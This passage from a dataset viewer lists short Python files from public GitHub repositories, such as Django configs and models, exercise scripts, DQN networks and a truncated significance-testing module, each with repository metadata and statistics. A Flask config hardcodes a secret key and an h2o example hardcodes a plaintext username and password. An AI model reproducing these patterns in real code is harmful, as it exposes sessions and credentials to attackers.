xszheng2020/the_stack_dedup_python_hits_4 · Datasets at Hugging Face

fadf8ad0ce754455f3afaab4832b28a7d01d7a8b

91

py

Python

modelzoo/apps.py

SuperElastix/ElastixModelZooWebsite

00d7b4aec8eb04c285d3771d53310079a3443fab

[ "Apache-2.0" ]

1

2021-11-15T07:30:24.000Z

modelzoo/apps.py

SuperElastix/ElastixModelZooWebsite

00d7b4aec8eb04c285d3771d53310079a3443fab

[ "Apache-2.0" ]

null

modelzoo/apps.py

SuperElastix/ElastixModelZooWebsite

00d7b4aec8eb04c285d3771d53310079a3443fab

[ "Apache-2.0" ]

null

from django.apps import AppConfig class ModelzooConfig(AppConfig): name = 'modelzoo'

15.166667

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0.758242

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91

6.9

0.9

0

0.164835

91

5

34

18.2

0.907895

0

0.087912

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1

0

false

0

0.333333

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1

0

null

0

1

0

1

0

4

faf0fdc65278cadd936ef392f1b61bcf614377b4

226

py

Python

example_project/server/django_server/ajax_client/urls.py

ghuntley/simpleapi

e64e05e9b2276098d3442db174a4d0204be56b39

[ "MIT" ]

1

2019-06-27T11:41:03.000Z

example_project/server/django_server/ajax_client/urls.py

ghuntley/simpleapi

e64e05e9b2276098d3442db174a4d0204be56b39

[ "MIT" ]

null

example_project/server/django_server/ajax_client/urls.py

ghuntley/simpleapi

e64e05e9b2276098d3442db174a4d0204be56b39

[ "MIT" ]

null

# -*- coding: utf-8 -*- from django.conf.urls.defaults import * from django.views.generic.simple import direct_to_template urlpatterns = patterns('', (r'^$', direct_to_template, {'template': 'ajax_client/index.html'}), )

28.25

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0.707965

29

226

5.344828

0.758621

0.129032

0.206452

0

0.005

0.115044

226

8

73

28.25

0.77

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null

0

1

0

1

0

null

0

1

0

4

878a24f530c1af7566b8684171f362df9aafb83c

52

py

Python

repositories/__init__.py

Simon1093/book-shop

03b9b9af9ee671adaa19b05700aba94a51b5a7c6

[ "MIT" ]

null

repositories/__init__.py

Simon1093/book-shop

03b9b9af9ee671adaa19b05700aba94a51b5a7c6

[ "MIT" ]

null

repositories/__init__.py

Simon1093/book-shop

03b9b9af9ee671adaa19b05700aba94a51b5a7c6

[ "MIT" ]

null

from .pastebin_repository import PasteBinRepository

26

51

0.903846

5

52

9.2

1

0

0.076923

52

1

52

0.958333

0

1

0

true

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null

0

1

0

null

0

1

0

1

0

4

878fc39d9a86ab186e65855518088841dbb77f1c

962

py

Python

addresses/models.py

indoriyasboyz/E-commerce

a71e7d043899769e48992216bebebc4b43d647ca

[ "MIT" ]

null

addresses/models.py

indoriyasboyz/E-commerce

a71e7d043899769e48992216bebebc4b43d647ca

[ "MIT" ]

null

addresses/models.py

indoriyasboyz/E-commerce

a71e7d043899769e48992216bebebc4b43d647ca

[ "MIT" ]

null

from django.db import models from billing.models import BillingProfile ADDRESS_TYPES = ( ('billing', 'Billing'), ('shipping', 'Shipping') ) class Address(models.Model): billing_profile = models.ForeignKey(BillingProfile, null=True, blank=False, on_delete=models.SET_NULL) address_type = models.CharField(max_length=120, choices=ADDRESS_TYPES) address_line_1 = models.CharField(max_length=120) address_line_2 = models.CharField(max_length=120, null=True, blank=True) city = models.CharField(max_length=120) country = models.CharField(max_length=120, default='Turkey') state = models.CharField(max_length=120) postal_code = models.CharField(max_length=120) def __str__(self): return str(self.billing_profile) + ' : ' + str(self.address_type).upper() def get_address(self): return f"{self.address_line_1} {self.address_line_2 or ''} / {self.state}, {self.city} {self.postal_code} {self.country}"

38.48

129

0.725572

128

962

5.21875

0.351563

0.157186

0.188623

0.251497

0.282934

0

0.030414

0.14553

962

25

129

38.48

0.782238

0

0.052632

0.155763

0.021807

0

1

0.105263

false

0

0.105263

0.789474

0

null

0

1

0

null

0

1

0

4

8794c79e6d4b49773109e2e11fa609b458c76872

2,421

py

Python

toucan/alert_api/migrations/0001_initial.py

toucan-project/TOUCAN

d562e1191b5ef10480be819ba8c584034c25259b

[ "MIT" ]

4

2019-08-28T14:36:23.000Z

2019-08-30T09:49:12.000Z

toucan/alert_api/migrations/0001_initial.py

toucan-project/TOUCAN

d562e1191b5ef10480be819ba8c584034c25259b

[ "MIT" ]

2

2021-04-20T17:09:30.000Z

2021-09-23T23:26:22.000Z

toucan/alert_api/migrations/0001_initial.py

toucan-project/TOUCAN

d562e1191b5ef10480be819ba8c584034c25259b

[ "MIT" ]

1

2020-01-22T20:01:58.000Z

# Generated by Django 2.2.3 on 2019-08-27 10:12 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='CanaryAlertItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date', models.DateTimeField()), ('identifier', models.CharField(max_length=50)), ('canary_type', models.CharField(max_length=4)), ('location', models.CharField(max_length=50)), ('ip', models.CharField(max_length=15)), ('node', models.CharField(blank=True, max_length=10)), ('user_agent', models.CharField(blank=True, max_length=250)), ('smb_loc', models.CharField(blank=True, max_length=50)), ('filename', models.CharField(blank=True, max_length=255)), ], ), migrations.CreateModel( name='MimiAlertItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('machinename', models.CharField(max_length=50)), ('sid', models.CharField(max_length=20)), ('pid', models.IntegerField()), ('date', models.DateTimeField()), ('source', models.CharField(max_length=255)), ('md5', models.CharField(max_length=32)), ('sha1', models.CharField(max_length=40)), ('target', models.CharField(max_length=255)), ('accessMask', models.CharField(max_length=4)), ('stack', models.CharField(max_length=999)), ], ), migrations.CreateModel( name='SampleItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('md5', models.CharField(max_length=32, unique=True)), ('sha1', models.CharField(max_length=40, unique=True)), ('sha256', models.CharField(max_length=64, unique=True)), ('ssdeep', models.CharField(max_length=148)), ('sample', models.FileField(upload_to='samples')), ], ), ]

42.473684

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0.551012

235

2,421

5.53617

0.353191

0.230592

0.221368

0.295158

0.51422

0.374327

0.182168

0

0.038915

0.299463

2,421

56

115

43.232143

0.728184

0.018587

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false

0

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0

0.102041

0

null

1

0

1

0

null

0

4

87972328e81aacc489fee9da7362c4fcec06a852

174

py

Python

python/local-for.py

tbedford/code-snippets

9afe36c2726829f14fa5ec11acb8214bed704938

[ "MIT" ]

null

python/local-for.py

tbedford/code-snippets

9afe36c2726829f14fa5ec11acb8214bed704938

[ "MIT" ]

null

python/local-for.py

tbedford/code-snippets

9afe36c2726829f14fa5ec11acb8214bed704938

[ "MIT" ]

1

2018-10-09T02:03:12.000Z

def my_func(count=4): for i in range (1, 5): print("count", count) if count == 2: print("count", count) count = count - 1 my_func()

17.4

33

0.488506

25

174

3.32

0.56

0.481928

0.361446

0

0.045455

0.367816

174

9

34

19.333333

0.709091

0

0.285714

0

0.057803

0

1

0.142857

false

0

0.142857

0.285714

1

0

null

1

0

1

0

null

0

4

87ca3a15e9e075458189419f7fbdf67f0a94cb5c

110

py

Python

abc254/a/main.py

seigot/atcoder

6c2da684c75b7c5de162de3713a13507aeecce1d

[ "MIT" ]

2

2021-12-28T11:43:47.000Z

2022-02-20T14:41:27.000Z

abc254/a/main.py

seigot/atcoder

6c2da684c75b7c5de162de3713a13507aeecce1d

[ "MIT" ]

null

abc254/a/main.py

seigot/atcoder

6c2da684c75b7c5de162de3713a13507aeecce1d

[ "MIT" ]

null

s = str(input()) ss = ''.join(list(reversed(s))) sss = ss[:2] ssss = ''.join(list(reversed(sss))) print(ssss)

18.333333

35

0.6

18

110

3.666667

0.611111

0.242424

0.484848

0

0.010309

0.118182

110

5

36

22

0.670103

0

1

0

false

0

0.2

1

0

null

1

0

1

0

null

0

4

87d9822daad3fd6ab117e7b34cc822b4c5d97a44

174

py

Python

skmine/periodic/__init__.py

sdall/scikit-mine

a8b63035ff1d766924788d16df136eb1dcc49da3

[ "BSD-3-Clause" ]

null

skmine/periodic/__init__.py

sdall/scikit-mine

a8b63035ff1d766924788d16df136eb1dcc49da3

[ "BSD-3-Clause" ]

null

skmine/periodic/__init__.py

sdall/scikit-mine

a8b63035ff1d766924788d16df136eb1dcc49da3

[ "BSD-3-Clause" ]

null

""" The :mod:`skmine.periodic` implements tools to tackle periodicity in datasets, preferably presentend in the form of event logs """ from .cycles import PeriodicCycleMiner

29

68

0.793103

23

174

6

0.913043

0

0.132184

174

5

69

34.8

0.913907

0.724138

0

1

0

true

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1

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1

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0

null

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1

0

null

0

1

0

1

0

4

35948db173b7bbd5ba900cd657faaa2ef535e475

106

py

Python

sugarpidisplay/sugarpiconfig/__init__.py

szpaku80/SugarPiDisplay

793c288afaad1b1b6921b0d29ee0e6a537e42384

[ "MIT" ]

1

2022-02-12T20:39:20.000Z

sugarpidisplay/sugarpiconfig/__init__.py

szpaku80/SugarPiDisplay

793c288afaad1b1b6921b0d29ee0e6a537e42384

[ "MIT" ]

null

sugarpidisplay/sugarpiconfig/__init__.py

szpaku80/SugarPiDisplay

793c288afaad1b1b6921b0d29ee0e6a537e42384

[ "MIT" ]

null

from flask import Flask app = Flask(__name__) app.secret_key = 'my secret key 123' from .views import *

15.142857

36

0.735849

17

106

4.294118

0.588235

0.246575

0

0.034483

0.179245

106

6

37

17.666667

0.804598

0

0.161905

0

1

0

false

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

4

35e0a6e230640f363f96585a666f96aa4c9a6376

584

py

Python

py/h2o_config_dump_example.py

vkuznet/h2o

e08f7014f228cbaecfb21f57379970e6a3ac0756

[ "Apache-2.0" ]

1

2017-12-14T04:57:51.000Z

py/h2o_config_dump_example.py

hansight/h2o

d7eee8b69dd3538b83412989eee361d2a2883857

[ "Apache-2.0" ]

null

py/h2o_config_dump_example.py

hansight/h2o

d7eee8b69dd3538b83412989eee361d2a2883857

[ "Apache-2.0" ]

1

2018-12-18T06:18:55.000Z

# used to create example of what we want for the json file # not used for normal execution hostDict = {} hostDict['username'] = '0xdiag' hostDict['password'] = '0xdiag' hostDict['h2o_per_host'] = 2 hostDict['ip'] = [] hostDict['ip'].append('192.168.0.30') hostDict['ip'].append('192.168.0.31') hostDict['ip'].append('192.168.0.32') hostDict['ip'].append('192.168.0.33') hostDict['ip'].append('192.168.0.34') jsonConfig = json.dumps(hostDict, sort_keys=False, indent=4) print jsonConfig with open('example.json', 'wb') as fp: json.dump(hostDict, fp, sort_keys=False, indent=4)

27.809524

60

0.693493

93

584

4.311828

0.505376

0.149626

0.199501

0.236908

0.386534

0.286783

0

0.097889

0.107877

584

20

61

29.2

0.671785

0.14726

0

0.255578

0

null

0.071429

0

null

0.071429

0

null

0

1

0

null

0

1

0

1

0

4

ea00eb0dc722603508ff6da0f340041fbe048aaf

405

py

Python

lib/clock.py

kostyaby/fc-helper

727b4418a832cad73fbf3a76b07973ec7dd8f49f

[ "MIT" ]

null

lib/clock.py

kostyaby/fc-helper

727b4418a832cad73fbf3a76b07973ec7dd8f49f

[ "MIT" ]

null

lib/clock.py

kostyaby/fc-helper

727b4418a832cad73fbf3a76b07973ec7dd8f49f

[ "MIT" ]

null

from . import Constant from datetime import date import os.path import time class Clock: def __init__(self): self.cached_today = date.today() self.cached_time = int(time.time() * Constant.Clock.MILLIS_IN_SECOND) def get_timestamped_directory_name(self, dirname): return "{}-{}".format(dirname, self.cached_time) def delta(self, timestamp): return self.cached_time - timestamp

20.25

73

0.730864

55

405

5.145455

0.509091

0.141343

0.14841

0

0.162963

405

19

74

21.315789

0.834808

0

0.012346

0

1

0.25

false

0

0.333333

0.166667

0.833333

0

null

0

null

0

1

0

1

0

4

ea0f5b77f66f23c9063b848f5d615513c4c0eb9c

227

py

Python

postgres_connector/errors.py

sandboxws/beam-postgres-connector

d08ed08e96991704fc234dd1e4d2ddf13f1885c1

[ "MIT" ]

null

postgres_connector/errors.py

sandboxws/beam-postgres-connector

d08ed08e96991704fc234dd1e4d2ddf13f1885c1

[ "MIT" ]

null

postgres_connector/errors.py

sandboxws/beam-postgres-connector

d08ed08e96991704fc234dd1e4d2ddf13f1885c1

[ "MIT" ]

null

"""Postgres Connector error classes.""" class PostgresConnectorError(Exception): """Base class for all errors.""" class PostgresClientError(PostgresConnectorError): """An error specific to the PostgreSQL driver."""

22.7

53

0.740088

22

227

7.636364

0.818182

0

0.140969

227

9

54

25.222222

0.861538

0.45815

0

1

0

true

0

1

0

1

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null

0

1

0

null

0

1

0

1

0

4

ea2d58f84b5df514e7e02a75e584d4a100903b8b

83

py

Python

oreo/apps.py

Caiseyann/instagram

d2bdaeb14eeb1b270e3164072153409f2f04f794

[ "MIT" ]

null

oreo/apps.py

Caiseyann/instagram

d2bdaeb14eeb1b270e3164072153409f2f04f794

[ "MIT" ]

null

oreo/apps.py

Caiseyann/instagram

d2bdaeb14eeb1b270e3164072153409f2f04f794

[ "MIT" ]

null

from django.apps import AppConfig class OreoConfig(AppConfig): name = 'oreo'

13.833333

33

0.73494

10

83

6.1

0.9

0

0.180723

83

5

34

16.6

0.897059

0

0.048193

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

ea67a0fe482d979117822e61e98bbf945251fa7a

51

py

Python

src/pythonFEA/constraints/__init__.py

honzatomek/pythonFEA

c851c20800a06cc2084ef53dfd2ab67e7dfbc3b7

[ "MIT" ]

null

src/pythonFEA/constraints/__init__.py

honzatomek/pythonFEA

c851c20800a06cc2084ef53dfd2ab67e7dfbc3b7

[ "MIT" ]

null

src/pythonFEA/constraints/__init__.py

honzatomek/pythonFEA

c851c20800a06cc2084ef53dfd2ab67e7dfbc3b7

[ "MIT" ]

null

from .constraint.nodal import Suppress, Prescribe

17

49

0.823529

6

51

7

1

0

0.117647

51

2

50

25.5

0.933333

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

576db8ecb910097b59d2f43587f1d66641640a59

183

py

Python

Chapter09/filewrite1.py

LuisPereda/Learning_Python

e89e69346c5584be10d991010f39b59329793ba5

[ "MIT" ]

null

Chapter09/filewrite1.py

LuisPereda/Learning_Python

e89e69346c5584be10d991010f39b59329793ba5

[ "MIT" ]

null

Chapter09/filewrite1.py

LuisPereda/Learning_Python

e89e69346c5584be10d991010f39b59329793ba5

[ "MIT" ]

null

file_input = open("motivation.txt",'w') file_input.write("Never give up") file_input.write("\nRise above hate") file_input.write("\nNo body remember second place") file_input.close()

36.6

51

0.759563

29

183

4.62069

0.655172

0.335821

0.313433

0

0.081967

183

5

52

36.6

0.797619

0

0.413043

0

1

0

false

0

1

0

null

1

0

1

0

null

0

4

5779ee13cb7483546b7269ccd2b8023e510e1921

206

py

Python

exercisio23.py

bruno194/EXERCICIOS

cf7f00020515731031275a9b8d2696d7bf3bb5dc

[ "MIT" ]

1

2022-02-25T13:28:46.000Z

exercisio23.py

bruno194/EXERCICIOS

cf7f00020515731031275a9b8d2696d7bf3bb5dc

[ "MIT" ]

null

exercisio23.py

bruno194/EXERCICIOS

cf7f00020515731031275a9b8d2696d7bf3bb5dc

[ "MIT" ]

null

numero = str(input('digite um numero')) print('unidade: {}'.format(numero[1])) print('dezena: {}'.format(numero[2])) print('centena: {} '.format(numero[3])) print('unidade de milhar: {}'.format(numero[4]))

34.333333

48

0.65534

28

206

4.821429

0.571429

0.355556

0

0.021053

0.07767

206

5

49

41.2

0.689474

0

0.339806

0

1

0

false

0

0.8

1

0

null

1

0

1

0

null

0

1

0

4

578ac58c979fe8249e02e5b2e57a75de4d57379c

398

py

Python

server/src/repositories/FilmTop5.py

alexfire008/centrale

f08c66f6064005fa371cbe56401a0e2c692ce905

[ "MIT" ]

1

2019-06-17T08:24:52.000Z

server/src/repositories/FilmTop5.py

alexfire008/centrale

f08c66f6064005fa371cbe56401a0e2c692ce905

[ "MIT" ]

null

server/src/repositories/FilmTop5.py

alexfire008/centrale

f08c66f6064005fa371cbe56401a0e2c692ce905

[ "MIT" ]

null

""" Defines the User repository """ from models import Notation from models import db from sqlalchemy import func class FilmTop5Repository: """The repository for the notation average truc""" @staticmethod def get(): return db.session.query(Notation.movie_title, func.avg(Notation.note)).group_by(Notation.movie_title).order_by(func.avg(Notation.note).desc()).limit(5).all()

28.428571

165

0.738693

54

398

5.37037

0.611111

0.068966

0.110345

0.131034

0

0.005865

0.143216

398

13

166

30.615385

0.844575

0.180905

0

1

0.142857

true

0

0.428571

0.142857

0.857143

0

null

0

null

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1

0

1

0

4

5795f2ab46be7e3ec9c242a4c59a1575f4d52ada

320

py

Python

pycomponents/html/__init__.py

expert-m/pycomponents

2add583d02f826a333753265c9801efad2ecf976

[ "MIT" ]

null

pycomponents/html/__init__.py

expert-m/pycomponents

2add583d02f826a333753265c9801efad2ecf976

[ "MIT" ]

null

pycomponents/html/__init__.py

expert-m/pycomponents

2add583d02f826a333753265c9801efad2ecf976

[ "MIT" ]

null

from .base import * from .basic import * from .forms import * from .frames import * from .images import * from .audio_and_video import * from .links import * from .lists import * from .tables import * from .semantics import * from .meta import * from .formatting import * from .programming import * from .other import *

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4

57d463ae014a1adcc81be7555a5834bfa6a272f4

243

py

Python

Python/Tests/TestData/AstAnalysis/Functions.py

techkey/PTVS

8355e67eedd8e915ca49bd38a2f36172696fd903

[ "Apache-2.0" ]

695

2019-05-06T23:49:37.000Z

2022-03-30T01:56:00.000Z

Python/Tests/TestData/AstAnalysis/Functions.py

techkey/PTVS

8355e67eedd8e915ca49bd38a2f36172696fd903

[ "Apache-2.0" ]

1,672

2019-05-06T21:09:38.000Z

2022-03-31T23:16:04.000Z

Python/Tests/TestData/AstAnalysis/Functions.py

techkey/PTVS

8355e67eedd8e915ca49bd38a2f36172696fd903

[ "Apache-2.0" ]

186

2019-05-13T03:17:37.000Z

2022-03-31T16:24:05.000Z

def f(): '''f''' pass def f1(): pass f2 = f if True: def g(): pass else: def h(): pass class C: def i(self): pass def j(self): def j2(self): pass class C2: def k(self): pass

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57d4a21c9e38d88d70ac59d0af2e069ddcb1851d

84

py

Python

D_Network_analysis/solutions/ex1_2.py

oercompbiomed/CBM101

20010dcb99fbf218c4789eb5918dcff8ceb94898

[ "MIT" ]

7

2019-07-03T07:41:55.000Z

2022-02-06T20:25:37.000Z

D_Network_analysis/solutions/ex1_2.py

oercompbiomed/CBM101

20010dcb99fbf218c4789eb5918dcff8ceb94898

[ "MIT" ]

9

2019-03-14T15:15:09.000Z

2019-08-01T14:18:21.000Z

D_Network_analysis/solutions/ex1_2.py

oercompbiomed/CBM101

20010dcb99fbf218c4789eb5918dcff8ceb94898

[ "MIT" ]

11

2019-03-12T10:43:11.000Z

2021-10-05T12:15:00.000Z

print(G.number_of_edges()) print(len(G.edges())) # both are equally valid solutions

21

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0

4

57de75decc2524ccfcf879c9b0e7cfcbd68a761b

7,684

py

Python

examples/shared/dqn/networks.py

MushroomRL/mushroom-rl-meta

08c13bd8115c81aba083ec62672956026e7ddd8a

[ "MIT" ]

null

examples/shared/dqn/networks.py

MushroomRL/mushroom-rl-meta

08c13bd8115c81aba083ec62672956026e7ddd8a

[ "MIT" ]

null

examples/shared/dqn/networks.py

MushroomRL/mushroom-rl-meta

08c13bd8115c81aba083ec62672956026e7ddd8a

[ "MIT" ]

null

import torch import torch.nn as nn import torch.nn.functional as F import numpy as np class AtariNetwork(nn.Module): n_features = 512 def __init__(self, input_shape, _, n_actions_per_head, use_cuda, n_games, features, dropout): super().__init__() self._n_input = input_shape self._n_games = n_games self._max_actions = max(n_actions_per_head)[0] self._features = features self._use_cuda = use_cuda self._n_shared = 2 self._h1 = nn.ModuleList( [nn.Conv2d(self._n_input[0], 32, kernel_size=8, stride=4) for _ in range( self._n_games)] ) self._h2 = nn.ModuleList( [nn.Conv2d(32, 64, kernel_size=4, stride=2) for _ in range( self._n_games)] ) self._h3 = nn.ModuleList( [nn.Conv2d(64, 64, kernel_size=3, stride=1) for _ in range( self._n_games)] ) self._h4 = nn.Linear(3136, self.n_features) self._h5 = nn.ModuleList( [nn.Linear(self.n_features, self._max_actions) for _ in range( self._n_games)] ) nn.init.xavier_uniform_(self._h4.weight, gain=nn.init.calculate_gain('relu')) for i in range(self._n_games): nn.init.xavier_uniform_(self._h1[i].weight, gain=nn.init.calculate_gain('relu')) nn.init.xavier_uniform_(self._h2[i].weight, gain=nn.init.calculate_gain('relu')) nn.init.xavier_uniform_(self._h3[i].weight, gain=nn.init.calculate_gain('relu')) nn.init.xavier_uniform_(self._h5[i].weight, gain=nn.init.calculate_gain('linear')) def forward(self, state, action=None, idx=None): state = state.float() / 255. h = list() for i in np.unique(idx): idxs = np.argwhere(idx == i).ravel() h_f = F.relu( self._h1[i](state[idxs, :self._n_input[0]]) ) h_f = F.relu(self._h2[i](h_f)) h.append(F.relu(self._h3[i](h_f))) cat_h3 = torch.cat(h) if self._features == 'relu': h_f = F.relu(self._h4(cat_h3.view(-1, 3136))) elif self._features == 'sigmoid': h_f = torch.sigmoid(self._h4(cat_h3.view(-1, 3136))) else: raise ValueError q = [self._h5[i](h_f) for i in range(self._n_games)] q = torch.stack(q, dim=1) if action is not None: action = action.long() q_acted = torch.squeeze( q.gather(2, action.repeat(1, self._n_games).unsqueeze(-1)), -1) q = q_acted if idx is not None: idx = torch.from_numpy(idx) if self._use_cuda: idx = idx.cuda() if q.dim() == 2: q_idx = q.gather(1, idx.unsqueeze(-1)) else: q_idx = q.gather(1, idx.view(-1, 1).repeat( 1, self._max_actions).unsqueeze(1)) q = torch.squeeze(q_idx, 1) return q def get_shared_weights(self): p1 = list() for p in self._h4.parameters(): p1.append(p.data.detach().cpu().numpy()) return p1 def set_shared_weights(self, weights): w1 = weights for p, w in zip(self._h4.parameters(), w1): w_tensor = torch.from_numpy(w).type(p.data.dtype) if self._use_cuda: w_tensor = w_tensor.cuda() p.data = w_tensor def freeze_shared_weights(self): for p in self._h4.parameters(): p.requires_grad = False def unfreeze_shared_weights(self): for p in self._h4.parameters(): p.requires_grad = True class GymNetwork(nn.Module): def __init__(self, input_shape, _, n_actions_per_head, use_cuda, features, dropout, n_features=80): super().__init__() self._n_input = input_shape self._n_games = len(n_actions_per_head) self._max_actions = max(n_actions_per_head)[0] self._use_cuda = use_cuda self._n_shared = 4 self._features = features self._h1 = nn.ModuleList( [nn.Linear(self._n_input[i][0], n_features) for i in range( len(input_shape))] ) self._h2 = nn.Linear(n_features, n_features) self._h3 = nn.Linear(n_features, n_features) self._h4 = nn.ModuleList( [nn.Linear(n_features, self._max_actions) for _ in range( self._n_games)] ) nn.init.xavier_uniform_(self._h2.weight, gain=nn.init.calculate_gain('relu')) nn.init.xavier_uniform_(self._h3.weight, gain=nn.init.calculate_gain('relu')) for i in range(self._n_games): nn.init.xavier_uniform_(self._h1[i].weight, gain=nn.init.calculate_gain('relu')) nn.init.xavier_uniform_(self._h4[i].weight, gain=nn.init.calculate_gain('linear')) def forward(self, state, action=None, idx=None): state = state.float() h1 = list() for i in np.unique(idx): idxs = np.argwhere(idx == i).ravel() h1.append(F.relu(self._h1[i](state[idxs, :self._n_input[i][0]]))) cat_h1 = torch.cat(h1) h_f = F.relu(self._h2(cat_h1)) if self._features == 'relu': h_f = F.relu(self._h3(h_f)) elif self._features == 'sigmoid': h_f = torch.sigmoid(self._h3(h_f)) else: raise ValueError q = [self._h4[i](h_f) for i in range(self._n_games)] q = torch.stack(q, dim=1) if action is not None: action = action.long() q_acted = torch.squeeze( q.gather(2, action.repeat(1, self._n_games).unsqueeze(-1)), -1) q = q_acted if idx is not None: idx = torch.from_numpy(idx) if self._use_cuda: idx = idx.cuda() if q.dim() == 2: q_idx = q.gather(1, idx.unsqueeze(-1)) else: q_idx = q.gather(1, idx.view(-1, 1).repeat( 1, self._max_actions).unsqueeze(1)) q = torch.squeeze(q_idx, 1) return q def get_shared_weights(self): p2 = list() p3 = list() for p in self._h2.parameters(): p2.append(p.data.detach().cpu().numpy()) for p in self._h3.parameters(): p3.append(p.data.detach().cpu().numpy()) return p2, p3 def set_shared_weights(self, weights): w2, w3 = weights for p, w in zip(self._h2.parameters(), w2): w_tensor = torch.from_numpy(w).type(p.data.dtype) if self._use_cuda: w_tensor = w_tensor.cuda() p.data = w_tensor for p, w in zip(self._h3.parameters(), w3): w_tensor = torch.from_numpy(w).type(p.data.dtype) if self._use_cuda: w_tensor = w_tensor.cuda() p.data = w_tensor def freeze_shared_weights(self): for p in self._h2.parameters(): p.requires_grad = False for p in self._h3.parameters(): p.requires_grad = False def unfreeze_shared_weights(self): for p in self._h2.parameters(): p.requires_grad = True for p in self._h3.parameters(): p.requires_grad = True

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null

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1

0

null

0

4

17b0ab50f83e4b3d03c38e3742d6653db8220b16

54,196

py

Python

dnn_inference/BBoxTest.py

StatML-dAI/dnn-inference

f17b6945dfff80118e25f1b39b56c3e4027b3b92

[ "MIT" ]

null

dnn_inference/BBoxTest.py

StatML-dAI/dnn-inference

f17b6945dfff80118e25f1b39b56c3e4027b3b92

[ "MIT" ]

null

dnn_inference/BBoxTest.py

StatML-dAI/dnn-inference

f17b6945dfff80118e25f1b39b56c3e4027b3b92

[ "MIT" ]

2

2022-02-17T15:57:42.000Z

2022-02-20T11:50:45.000Z

""" Significance testing based on black-box models """ # Author: Ben Dai <bendai@cuhk.edu.hk> from tensorflow.keras.models import load_model import numpy as np from scipy.stats import norm, mode from sklearn.model_selection import train_test_split from tensorflow.keras.callbacks import EarlyStopping import warnings import tensorflow.keras.backend as K from tensorflow.keras.initializers import glorot_uniform import tensorflow as tf from sklearn.model_selection import KFold from scipy.stats import hmean, gmean import scipy.optimize import matplotlib.pyplot as plt import os from scipy.optimize import brentq from copy import deepcopy import time def comb_p_value(P_value, cp): """ combining p-values """ P_value = np.array(P_value) P_value cv_num = len(P_value) # print(P_value) if cv_num > 1: P_value = np.array(P_value) if cp == 'gmean': P_value_cp = np.e*gmean(P_value, 0) elif cp == 'median': P_value_cp = 2*np.median(P_value, 0) elif cp == 'Q1': P_value_cp = cv_num/2.*np.partition(P_value, 1)[1] elif cp == 'min': P_value_cp = cv_num*np.min(P_value, 0) elif cp == 'hmean': P_value_cp = np.e * np.log(cv_num) * hmean(P_value, 0) elif cp == 'hommel': const = np.sum(1. / (np.arange(cv_num) + 1.)) order_const = const*(cv_num/(np.arange(cv_num) + 1.)) P_value_cp = np.sort(P_value)*order_const P_value_cp = np.min(P_value_cp) elif cp == 'cauchy': t0 = np.mean(np.tan((.5 - P_value)*np.pi)) P_value_cp = .5 - np.arctan(t0)/np.pi else: warnings.warn("cp should be {geometric, min, median, Q1, hmean, hommel, cauchy}") else: P_value_cp = np.mean(P_value, 0) P_value_cp = np.minimum(P_value_cp, 1.) return P_value_cp def size_fun(x, N, min_N=2000): return x + min_N * np.log(x) / 2 / np.log(min_N/2) - N class split_test(object): """ Class for one-split/two-split test based on deep neural networks. Parameters ---------- inf_feats: list-like | shape = (num of tests, dim of features) List of covariates/Features under hypothesis testings, one element corresponding to a hypothesis testing. model: {keras-defined neural network} A neural network for original full dataset model_mask: {keras-defined neural network} A neural network for masked dataset by masking/changing the features under hypothesis testing change: {'mask', 'perm'}, default='mask' The way to change the testing features, ``'mask'`` replaces testing features as zeros, while ``'perm'`` permutes features via instances. alpha: float (0,1), default=0.05 The nominal level of the hypothesis testing verbose: {0, 1}, default=0 If print the testing results, 1 indicates YES, 0 indicates NO. eva_metric: {'mse', 'zero-one', 'cross-entropy', or custom metric function} The evaluation metric, ``'mse'`` is the l2-loss for regression, ``'zero-one'`` is the zero-one loss for classification, ``'cross-entropy'`` is log-loss for classification. It can also be custom metric function as ``eva_metric(y_true, y_pred)``. cp_path: string, default='./splitTest_checkpoints' The checkpoints path to save the models Methods ------- adaRatio dual_feat testing visual """ def __init__(self, inf_feats, model, model_mask, change='mask', alpha=.05, verbose=0, eva_metric='mse', cp_path='./splitTest_checkpoints'): self.inf_feats = inf_feats self.model = model self.model_mask = model_mask self.alpha = alpha self.change = change self.eva_metric = eva_metric self.p_values = [] self.p_values_comb = [] self.cp_path = cp_path def metric(self, y_true, y_pred): """ Return the loss for `self.eva_metric` Parameters ---------- y_true: the ground truth y_pred: the predicted label """ if self.eva_metric == 'mse': metric_tmp = ((y_true - y_pred)**2).flatten() elif self.eva_metric == 'mae': metric_tmp = abs(y_true - y_pred).flatten() elif self.eva_metric == 'zero-one': label_pred = np.argmax(y_pred, 1) label_true = np.argmax(y_true, 1) metric_tmp = 1. - 1.*(label_true == label_pred) elif self.eva_metric == 'cross-entropy': label_true = np.argmax(y_true, 1) metric_tmp = -np.log(y_pred[range(len(y_pred)),label_true]) else: metric_tmp = self.eva_metric(y_true, y_pred) return metric_tmp def save_init(self): """ Save the initialization for full and mask network models under class Dnn """ self.model.built = True self.model_mask.built = True # self.model.save_weights(self.cp_path+'/model_init.h5') # self.model_mask.save_weights(self.cp_path+'/model_mask_init.h5') self.model.save(self.cp_path+'/model_init') self.model_mask.save(self.cp_path+'/model_mask_init') def reset_model(self): """ Reset the full and mask network models under class Dnn """ self.model.built = True self.model_mask.built = True # self.model.load_weights(self.cp_path+'/model_init.h5') # self.model_mask.load_weights(self.cp_path+'/model_mask_init.h5') self.model = load_model(self.cp_path+'/model_init') self.model_mask = load_model(self.cp_path+'/model_mask_init') def reload_model(self, path_full, path_mask): """ reload the pre-saved model. """ # path_tmp = self.cp_path+'/model'+'_inf'+str(k)+'_cv'+str(h)+'.h5' # mask_path_tmp = self.cp_path+'/model_mask'+'_inf'+str(k)+'_cv'+str(h)+'.h5' self.model.save_weights(path_full) self.model_mask.save_weights(path_mask) self.model.load_weights(path_full) self.model_mask.load_weights(path_mask) ## can be extent to @abstractmethod def dual_feat(self, X, cat_feats=[], k=0): """ Return instances with masked/perm k-th hypothesized features (dual feats). Parameters ---------- X: array-like Target instances. cat_feats: list-like, default = [] The col-index for categorical features k: integer, default = 0 k-th hypothesized features in inf_feats """ if self.change == 